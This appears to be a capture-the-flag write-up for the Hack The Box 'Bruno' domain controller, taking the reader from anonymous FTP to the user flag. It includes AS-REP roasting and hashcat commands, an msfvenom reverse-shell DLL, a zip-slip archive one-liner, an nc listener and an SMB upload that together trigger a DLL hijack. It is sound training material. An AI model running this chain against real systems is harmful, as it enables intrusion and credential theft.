Post

Bruno

Bruno is a medium Windows domain controller. Anonymous FTP exposes a custom .NET scanning service and the name of a service account, svc_scan, whose Kerberos pre-authentication is disabled — its AS-REP hash cracks to a weak password. That account can write to a share the scanner watches, so a zip-slip archive plants a malicious DLL into the app directory and a DLL search-order hijack runs code as svc_scan, landing the user flag. This post covers recon through user.txt.

Bruno

Overview

Bruno is a Medium-difficulty Windows box that is a domain controller for bruno.vl. The path to user.txt starts at anonymous FTP, which leaks a custom .NET application and the name of an automation account. That account turns out to be AS-REP roastable, its hash cracks to a weak password, and the account can write to a share the application scans. A zip-slip archive combined with a DLL search-order hijack then executes code as the service account. This post stops at the user flag.

Recon

PortService
21FTP (anonymous allowed)
53DNS
80/443IIS 10.0
88Kerberos
135/139/445MSRPC / NetBIOS / SMB
389/636/3268/3269LDAP / LDAPS / Global Catalog
464kpasswd
593RPC over HTTP
3389RDP
5985WinRM
9389AD Web Services
1
2
nmap -p- --min-rate=1000 -T4 10.129.8.58
nmap -p21,53,80,88,135,139,389,445,464,593,636,3268,3389,5985,9389 -sC -sV 10.129.8.58

The host is a domain controller: domain bruno.vl, machine name BRUNODC. The standout is anonymous FTP on port 21 sitting next to a full AD stack.

Enumeration

FTP (21) — anonymous

Anonymous login is allowed. The share holds an app directory with a custom .NET program, SampleScanner, plus queue, benign, and malicious folders.

1
2
ftp [email protected]
# get the SampleScanner binaries + changelog from /app

Two things matter:

  • The changelog mentions “automation using svc_scan” — a service account name.
  • Decompiling SampleScanner.dll shows it watches C:\samples\queue, and for every .zip it finds it extracts the archive and then loads helper DLLs by name from its own application directory. Both the unsafe extraction and the bare-name DLL load are exploitable.

Kerberos (88) — AS-REP roasting svc_scan

svc_scan has Kerberos pre-authentication disabled, so an AS-REP can be requested with no password and cracked offline.

1
2
impacket-GetNPUsers bruno.vl/ -usersfile users.txt -no-pass -dc-ip 10.129.8.58 -format hashcat
hashcat -m 18200 svc_scan.asrep /usr/share/wordlists/rockyou.txt

The hash cracks to a weak password. The credentials are valid over SMB, and crucially the queue share is writable:

1
2
netexec smb 10.129.8.58 -u svc_scan -p '<redacted>' --shares
# queue   READ,WRITE

Foothold

The plan: drop a malicious DLL into the scanner’s application directory via the writable queue share, then let the scanner load it (DLL search-order hijack).

Build a reverse-shell DLL named after a DLL the app loads by bare name (hostfxr.dll):

1
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.16.13 LPORT=4444 -f dll -o hostfxr.dll

Wrap it in a zip whose entry name is a relative path traversal — this escapes the extraction directory and lands the DLL in the app folder (a rooted C:\... entry name does not work against this binary):

1
python3 -c "import zipfile;d=open('hostfxr.dll','rb').read();z=zipfile.ZipFile('slip.zip','w',zipfile.ZIP_DEFLATED);z.writestr('../app/hostfxr.dll',d);z.close()"

Start a listener and upload the archive to the watched share:

1
2
nc -lvnp 4444
smbclient //10.129.8.58/queue -U 'bruno.vl/svc_scan%<redacted>' -c 'put slip.zip'

The scanner runs on roughly a 60-second cycle. On its next run it extracts the archive (placing the DLL in the app directory) and then loads it, executing the payload as the service account:

1
2
3
connect to [10.10.16.13] from (UNKNOWN) [10.129.8.58]
C:\Windows\system32> whoami
bruno\svc_scan

User flag

1
type C:\Users\svc_scan\Desktop\user.txt   # HTB{...}

Access as bruno\svc_scan achieved.

Foothold complete. Privilege escalation is left as an exercise — this post stops at user.

This post is licensed under CC BY 4.0 by the author.